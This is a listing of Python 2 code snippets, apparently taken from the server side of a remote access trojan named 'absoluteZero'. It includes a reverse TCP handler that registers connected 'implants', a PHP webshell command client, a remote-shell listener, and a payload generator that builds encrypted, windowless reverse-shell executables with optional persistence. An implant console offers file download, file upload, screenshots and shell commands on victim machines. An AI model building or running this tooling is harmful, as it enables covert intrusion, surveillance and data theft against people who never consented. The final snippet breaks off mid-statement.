Esempio n. 1
0
    def StartTcpHandler():
        try:
            # Initialize cryptography
            print color.ReturnInfo(
                'Setting up AES keys for encrypted connection..')
            crypto_aes.initKey()
            print color.ReturnSuccess('Ready for the encrypted communication.')

            # Load ports and start socket server
            for port in viewbag.PORT_LIST:
                ds = (viewbag.CALLBACK_IP, port)
                server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
                server.bind(ds)
                server.listen(viewbag.MAX_CONN)
                viewbag.SERVERS.append(server)
            while True:
                readable, _, _ = select.select(viewbag.SERVERS, [], [])
                ready_server = readable[0]
                connection, address = ready_server.accept()
                connection.setblocking(1)
                implanthash = tools.GetUniqueHashFromString(address[0])
                implantnow = datetime.now()

                viewbag.all_addresses.append(address)
                viewbag.all_connections.append(connection)
                viewbag.all_hashes.append(implanthash)
                viewbag.all_times.append(implantnow)
                viewbag.all_rport.append(ready_server.getsockname()[1])

                # Setup encrypted connection with the new implant
                connection.send(base64.b64encode(crypto_aes.uniqueKey))

                name, os_, arch = Helper.recv_msg(connection).split(
                    viewbag.SPL)
                viewbag.all_names.append(name)
                viewbag.all_os.append(os_)
                viewbag.all_arch.append(arch)

                if viewbag.NOTIFY_CONNECTION:
                    print '\n' + color.ReturnSuccess(
                        'New implant connected %s/%s (%s)' %
                        (address[0], name, os_))

                implant_folder = viewbag.ENVIRONMENT_FOLDER + '\\' + address[
                    0] + "_" + name + "\\"
                tools.mkdir(implant_folder)
                viewbag.all_folders.append(implant_folder)

        except Exception as e:
            print color.ReturnError('StartTcpHandler -> ' + str(e))
Esempio n. 2
0
def remove():
    try:
        print color.ReturnInfo('Removing current configuration...')
        os.remove(fname)
        print color.ReturnSuccess('Configuration removed successfully.')
    except Exception, e:
        print color.ReturnError('Error removing configuration: %s' % str(e))
Esempio n. 3
0
def save():
    print '\n' + color.ReturnInfo('Saving current system configuration...')
    try:
        viewbag_node = Element('viewbag')
        system_node = SubElement(viewbag_node, 'system')
        port_list = TCPhandler.Helper.GetPrintablePorts()
        SubElement(system_node, 'CALLBACK_IP', name=viewbag.CALLBACK_IP)
        SubElement(system_node, 'BUFFER_SIZE', name=str(viewbag.BUFFER_SIZE))
        SubElement(system_node, 'PORT_LIST', name=port_list)
        SubElement(system_node, 'MAX_CONN', name=str(viewbag.MAX_CONN))
        SubElement(system_node,
                   'MESSAGE_LENGTH_SHOW',
                   name=str(viewbag.MESSAGE_LENGTH_SHOW))
        SubElement(system_node,
                   'ENVIRONMENT_FOLDER',
                   name=viewbag.ENVIRONMENT_FOLDER)
        SubElement(system_node,
                   'NOTIFY_CONNECTION',
                   name=str(viewbag.NOTIFY_CONNECTION))
        SubElement(system_node,
                   'AUTOSTART_TCP',
                   name=str(viewbag.AUTOSTART_TCP))
        output_file = open(fname, 'w')
        print color.ReturnInfo('Writing to "configuration.xml"...')
        output_file.write('<?xml version="1.0"?>')
        output_file.write(ElementTree.tostring(viewbag_node))
        output_file.close()
        print color.ReturnSuccess('Saved to -> "%s"' % fname)
    except Exception, e:
        print color.ReturnError('Error saving configuration: %s' % str(e))
Esempio n. 4
0
def load():
    try:
        if os.path.isfile(fname):
            print color.ReturnInfo('Loading configuration file...')
            counter = 0
            document = ElementTree.parse(fname)
            for setting in document.findall('system/'):
                if counter == 0:
                    viewbag.CALLBACK_IP = setting.attrib['name']
                elif counter == 1:
                    viewbag.BUFFER_SIZE = int(setting.attrib['name'])
                elif counter == 2:
                    TCPhandler.Helper.InitializePorts(setting.attrib['name'])
                elif counter == 3:
                    viewbag.MAX_CONN = int(setting.attrib['name'])
                elif counter == 4:
                    if setting.attrib['name'] == 'True':
                        viewbag.MESSAGE_LENGTH_SHOW = True
                    else:
                        viewbag.MESSAGE_LENGTH_SHOW = False
                elif counter == 5:
                    viewbag.ENVIRONMENT_FOLDER = setting.attrib['name']
                elif counter == 6:
                    if setting.attrib['name'] == 'True':
                        viewbag.NOTIFY_CONNECTION = True
                    else:
                        viewbag.NOTIFY_CONNECTION = False
                elif counter == 7:
                    if setting.attrib['name'] == 'True':
                        viewbag.AUTOSTART_TCP = True
                        if not viewbag.SERVER_STATUS:
                            if not viewbag.PORT_LIST:
                                print color.ReturnError(
                                    'Error: port list is empty.')
                            elif not viewbag.CALLBACK_IP:
                                print color.ReturnError(
                                    'Error: callback ip is not defined.')
                            else:
                                print color.ReturnInfo(
                                    'Started Reverse TCP Handler on %s:%s' %
                                    (viewbag.CALLBACK_IP,
                                     TCPhandler.Helper.GetPrintablePorts()))

                                thread = threading.Thread(
                                    target=TCPhandler.Helper.StartTcpHandler)
                                thread.daemon = True
                                thread.start()
                                viewbag.SERVER_STATUS = True
                                time.sleep(1)
                        else:
                            print color.ReturnError(
                                'Server is already online.')
                    else:
                        viewbag.AUTOSTART_TCP = False
                counter += 1
            print color.ReturnSuccess('Configuration file loaded.\n')
    except Exception, e:
        print color.ReturnError('Error parsing the configuration: %s' % str(e))
Esempio n. 5
0
def Connect():
    try:
        data = "?password=%s" % webshell_password
        command = data + "&command"
        checker = False
        url = 'http://' + webshell_ip + ':' + str(
            webshell_port) + '/' + webshell_page_name
        print '\n' + color.ReturnInfo(
            'Establishing the connection with the webshell -> %s' % url)
        rec = urllib2.Request(url + data)
        response = urllib2.urlopen(rec)
        check = response.read()
        print color.ReturnInfo('Webshell is online')
        i = len(check)
        f = check.find("$.")
        # print f
        # print i #activate it when you want to customize file length size

        if f == 0:
            print color.ReturnSuccess(
                'Connection succeeded -> %s' % url) + '\n'
            checker = True
            while checker:
                sys.stdout.write(
                    color.ReturnImplantConsole('absoluteZero-PHP'))
                cmd = raw_input('')
                if cmd == "exit":
                    print color.ReturnError('Php session has been closed.')
                    break
                newcmd = cmd.replace(" ", "%20")
                rec2 = urllib2.Request(url + command + "=%s" % newcmd)
                # urlencode=urllib2.unquote(rec2)
                response = urllib2.urlopen(rec2)
                check2 = response.read()
                print("--> " + check2)
        else:
            print color.ReturnError('Invalid password.')
            return
    except Exception, e:
        print color.ReturnError('Error connecting to the webshell -> %s' %
                                str(e))
Esempio n. 6
0
def bind(port):
    serv_add = (viewbag.CALLBACK_IP, port)
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server.bind(serv_add)
    server.listen(5)
    c, addr = server.accept()
    print color.ReturnSuccess('Received callback from remote shell -> %s:%s\n' % (addr[0], str(addr[1])))
    firstshell = c.recv(1024)
    sys.stdout.write(firstshell)
    while True:
        cmd = raw_input(' ')
        if cmd == 'quit':
            c.send(cmd)
            c.close()
            server.close()
            break
        if len(cmd) > 0:
            c.send(cmd)
            client_response = c.recv(4096)
            sys.stdout.write(client_response)
    c.close()
Esempio n. 7
0
    def Generate(string_):
        if len(string_.split(' ')) != 8:
            print color.ReturnError("Error: Arguments don't match path.")
            print(PayloadGenerator.doPrintHelp())
        else:
            try:
                sanitized = string_.split(' ')
                file_extension = os.path.splitext(sanitized[5])[1]
                if file_extension == ".exe":
                    if os.name == "nt":
                        while True:
                            if os.path.exists(r"C:\Python27\Scripts\pyinstaller.exe"):
                                print color.ReturnSuccess(
                                    "Pyinstaller validated => C:\Python27\Scripts\pyinstaller.exe")
                                break
                            else:
                                print color.ReturnError("Pyinstaller not found!")
                                print color.ReturnError(
                                    "Can't proceed with .exe standalone builder without Pyinstaller.\n")

                                if tools.Confirm('Do you want to install "Pyinstaller" now via "pip" command?'):
                                    os.system("c:\Python27\Scripts\pip.exe install pyinstaller")
                                else:
                                    return None
                    else:
                        print color.ReturnError("Can't build .exe binary from Linux platform.")
                        return

                print color.ReturnInfo("Input validated, generating payload ...")
                if os.name == "nt":
                    stubname = PayloadGenerator.getTempPath() + str(
                        PayloadGenerator.getRandomNumber(80000, 90000)) + ".py"
                else:
                    stubname = os.path.dirname(os.path.abspath(__file__)) + "/" + str(
                        PayloadGenerator.getRandomNumber(80000, 90000)) + ".py"

                stubpath = os.path.abspath(
                    os.path.join(os.path.abspath(os.path.join(PayloadGenerator.getStartupPath(__file__), os.pardir)),
                                 os.pardir)) + "/payloads/reverse_tcp.py"
                try:
                    shutil.copyfile(stubpath, stubname)
                except Exception, e:
                    print str(e)
                payload_body = PayloadGenerator.readFile(stubname)

                payload_body = payload_body.replace("self.host = '127.0.0.1'", "self.host = '%s'" % str(sanitized[1]))
                payload_body = payload_body.replace("self.port = 9876", "self.port = %s" % str(sanitized[2]))
                payload_body = payload_body.replace("self.debug = True", "self.debug = %s" % str(sanitized[3]))
                payload_body = payload_body.replace("self.implantName = '0x' + 'EP01'",
                                                    "self.implantName = '0x' + '%s'" % str(sanitized[4]))
                payload_body = payload_body.replace("self.autoPersistence = False",
                                                    "self.autoPersistence = %s" % str(sanitized[7]))
                payload_body = PayloadGenerator.AES_payload(payload_body)

                PayloadGenerator.writeFile(stubname, payload_body)

                if file_extension == ".exe":
                    if os.name == "nt":
                        outputfile = sanitized[5]
                        if not ".exe" in outputfile:
                            outputfile += ".exe"

                        console_debug = ''
                        hidden_imports = '--hidden-import PIL.ImageGrab '
                        hidden_imports += '--hidden-import psutil '
                        hidden_imports += '--hidden-import json '

                        if sanitized[3] == "False":
                            console_debug = "--noconsole --windowed"
                        else:
                            console_debug = None

                        if console_debug is None:
                            query = "c:\Python27\Scripts\pyinstaller.exe %s --onefile %s" % (hidden_imports, stubname)
                        else:
                            query = "c:\Python27\Scripts\pyinstaller.exe %s --onefile %s %s" % (
                                hidden_imports, console_debug, stubname)

                        subprocess.call(query)
                        time.sleep(5)
                        if os.path.exists(
                                "C:\Python27\Scripts\dist\%s.exe" % PayloadGenerator.getFileNameWithoutExtension(
                                    stubname)):
                            shutil.copyfile(
                                "C:\Python27\Scripts\dist\%s.exe" % PayloadGenerator.getFileNameWithoutExtension(
                                    stubname),
                                outputfile)
                        elif os.path.exists(
                                "C:\Python27\dist\%s.exe" % PayloadGenerator.getFileNameWithoutExtension(stubname)):
                            shutil.copyfile(
                                "C:\Python27\dist\%s.exe" % PayloadGenerator.getFileNameWithoutExtension(stubname),
                                outputfile)
                        elif os.path.exists(
                                "C:\Python27\build\%s\%s.exe" % (PayloadGenerator.getFileNameWithoutExtension(stubname),
                                                                 PayloadGenerator.getFileNameWithoutExtension(
                                                                     stubname))):
                            shutil.copyfile(
                                "C:\Python27\build\%s\%s.exe" % (PayloadGenerator.getFileNameWithoutExtension(stubname),
                                                                 PayloadGenerator.getFileNameWithoutExtension(
                                                                     stubname)),
                                outputfile)
                        else:
                            print color.ReturnError(
                                "Can't move file to location, maybe pyinstaller didn't move it yet.")

                        try:
                            os.remove(stubname)
                        except Exception as e:
                            print color.ReturnError("Error removing stub file: %s" % str(e))
                        print color.ReturnInfo("Final output size => %s" % PayloadGenerator.getFileSize(outputfile))
                        print color.ReturnSuccess("DONE => %s" % outputfile)
                    else:
                        print color.ReturnError("Can't build .exe binary from Linux platform.")
                        return
                else:
                    shutil.copyfile(stubname, sanitized[5])
                    try:
                        os.remove(stubname)
                    except Exception as e:
                        print color.ReturnError("Error: %s" % str(e))
                    time.sleep(1)

                    if sanitized[6] == 'True':
                        print '\nPayload: \n' + payload_body + '\n'

                    print color.ReturnSuccess("Final payload size => %s" % PayloadGenerator.getFileSize(sanitized[5]))
                    print color.ReturnSuccess(("DONE => %s\n" % sanitized[5]))

            except Exception as e:
                print color.ReturnError("Error: %s" % str(e))
Esempio n. 8
0
    def ImplantInteraction(index):
        print color.ReturnInfo(
            'Deploying meta interpreter => tcp://%s:%s' %
            (viewbag.all_addresses[index][0], viewbag.all_addresses[index][1]))
        connection = viewbag.all_connections[index]
        print color.ReturnInfo('Pinging Backdoor ...')

        try:
            Helper.send_msg(connection, ebytes.EBYTES.ping_byte)
            if Helper.recv_msg(
                    connection) == ebytes.EBYTES.command_handling_byte:
                print color.ReturnSuccess(
                    'Backdoor returned code "\\x06", success.\n')
                while True:
                    sys.stdout.write(
                        color.ReturnImplantConsole('absoluteZero'))
                    command = raw_input('')

                    if command == "exit":
                        if tools.Confirm('Close the current implant session?'):
                            Helper.send_msg(connection,
                                            ebytes.EBYTES.exit_byte)
                            print ''
                            print color.ReturnError(
                                'Meta interpreter sessions closed => tcp://%s:%s'
                                % (viewbag.all_addresses[index][0],
                                   viewbag.all_addresses[index][1]))
                            break
                        else:
                            continue
                    elif command == "background":
                        raise KeyboardInterrupt
                    elif command == "uninstall":
                        if tools.Confirm(
                                'Uninstall the implant from this target?'):
                            Helper.send_msg(connection,
                                            ebytes.EBYTES.uninstall_byte)
                            print ''
                            print color.ReturnError(
                                'Meta interpreter sessions closed => tcp://%s:%s'
                                % (viewbag.all_addresses[index][0],
                                   viewbag.all_addresses[index][1]))
                            print color.ReturnWarning(
                                'Uninstalling implant => tcp://%s:%s' %
                                (viewbag.all_addresses[index][0],
                                 viewbag.all_addresses[index][1]))

                            if Helper.recv_msg(
                                    connection
                            ) == ebytes.EBYTES.confirm_uninstall_byte:
                                print color.ReturnSuccess(
                                    'Implant uninstalled successfully.\n')
                            break
                        else:
                            continue
                    elif command == "modules":
                        print "\n" + color.ReturnTabulate(
                            modulehelper.ListModules(),
                            ['Name', 'Description'], "simple") + "\n"
                        continue
                    elif command.startswith('download'):
                        try:
                            _, file_to_download, destination_folder = command.split(
                                ' ')
                            if not os.path.isdir(destination_folder):
                                print color.ReturnError(
                                    "Error: folder '%s' doesn't exists." %
                                    destination_folder)
                                continue
                            else:
                                if destination_folder[
                                        -1:] == "\\" or destination_folder[
                                            -1:] == "/":
                                    pass
                                else:
                                    destination_folder += "\\"
                        except ValueError:
                            print color.ReturnError(
                                'Wrong arguments, Syntax: download <remote_file_path> <destination_folder_path>'
                            )
                            continue
                        Helper.send_msg(
                            connection,
                            base64.b64encode('download ' + file_to_download))
                        check = Helper.recv_msg(connection)
                        print ''
                        if check == ebytes.EBYTES.exit_byte:
                            dst = destination_folder + os.path.basename(
                                file_to_download)
                            print color.ReturnInfo('Downloading: %s -> %s' %
                                                   (file_to_download, dst))
                            Helper.send_msg(connection,
                                            ebytes.EBYTES.confirmation_byte)
                            file_content = Helper.recv_msg_noenc(connection)
                            try:
                                if os.path.isfile(dst):
                                    os.remove(dst)
                                f = open(dst, 'wb')
                                f.write(file_content)
                                f.close()
                                print color.ReturnSuccess(
                                    'Downloaded: %s -> %s\n' %
                                    (file_to_download, dst))
                            except IOError as e:
                                print color.ReturnError(
                                    'Download error: Permission denied for folder -> "%s"\n'
                                    % destination_folder)
                            except Exception, e:
                                print color.ReturnError(
                                    'Download error: %s\n' % str(e))
                            continue
                        elif check == ebytes.EBYTES.error_byte:
                            print color.ReturnError(
                                'Error: file "%s" not found.\n' %
                                file_to_download)
                            continue
                    elif command.startswith('upload'):
                        try:
                            _, file_to_upload, destination_folder = command.split(
                                ' ')
                            if os.path.isfile(file_to_upload):
                                if destination_folder[
                                        -1:] == "\\" or destination_folder[
                                            -1:] == "/":
                                    pass
                                else:
                                    destination_folder += "\\"

                                Helper.send_msg(
                                    connection,
                                    base64.b64encode(
                                        'upload ' + destination_folder +
                                        os.path.basename(file_to_upload)))
                                check = Helper.recv_msg(connection)
                                if check == ebytes.EBYTES.exit_byte:
                                    try:
                                        print ''
                                        print color.ReturnInfo(
                                            'Uploading: %s -> %s' %
                                            (file_to_upload,
                                             destination_folder +
                                             os.path.basename(file_to_upload)))
                                        f = open(file_to_upload, 'rb')
                                        content = f.read()
                                        f.close()
                                        Helper.send_msg_noenc(
                                            connection, content)
                                        output_byte = Helper.recv_msg(
                                            connection)
                                        if output_byte != ebytes.EBYTES.confirmation_byte:
                                            print color.ReturnError(
                                                output_byte)
                                        else:
                                            print color.ReturnSuccess(
                                                'Uploaded: %s -> %s\n' %
                                                (file_to_upload,
                                                 destination_folder + os.path.
                                                 basename(file_to_upload)))
                                            continue
                                    except Exception, e:
                                        Helper.send_msg(
                                            connection,
                                            ebytes.EBYTES.error_byte)
                                        print color.ReturnError(
                                            "Error uploading file '%s' -> %s\n"
                                            % (file_to_upload, str(e)))
                                        continue
                                else:
                                    print color.ReturnError(
                                        'Something wrong while uploading file "%s"\n'
                                        % file_to_upload)
                                    continue
                            else:
                                print color.ReturnError(
                                    "File '%s' doesn't exists.\n" %
                                    file_to_upload)
                                continue
                        except ValueError:
                            print color.ReturnError(
                                'Wrong arguments, Syntax: upload <local_file_path> <destination_folder_path>'
                            )
                            continue
Esempio n. 9
0
                    elif command == "screenshot":
                        Helper.send_msg(connection, base64.b64encode(command))
                        check = Helper.recv_msg(connection)
                        dst = viewbag.all_folders[index] + datetime.today(
                        ).strftime('%Y_%m_%d-%H_%M_%S.png')
                        print ''
                        if check == ebytes.EBYTES.exit_byte:
                            print color.ReturnInfo('Downloading screenshot...')
                            Helper.send_msg(connection,
                                            ebytes.EBYTES.confirmation_byte)
                            file_content = Helper.recv_msg(connection)
                            try:
                                f = open(dst, 'wb')
                                f.write(file_content)
                                f.close()
                                print color.ReturnSuccess(
                                    'Screenshot saved: %s\n' % dst)
                            except Exception, e:
                                print color.ReturnError(
                                    'Screenshot error: %s\n' % str(e))
                            continue
                        else:
                            print color.ReturnError('Screenshot error: %s\n' %
                                                    str(check))
                    elif command == "help":
                        print help.help()
                    else:

                        if 'admin/shell::' in command:
                            if not 'admin/shell_exec::' in command:
                                Helper.send_msg(connection,
                                                ebytes.EBYTES.host_byte)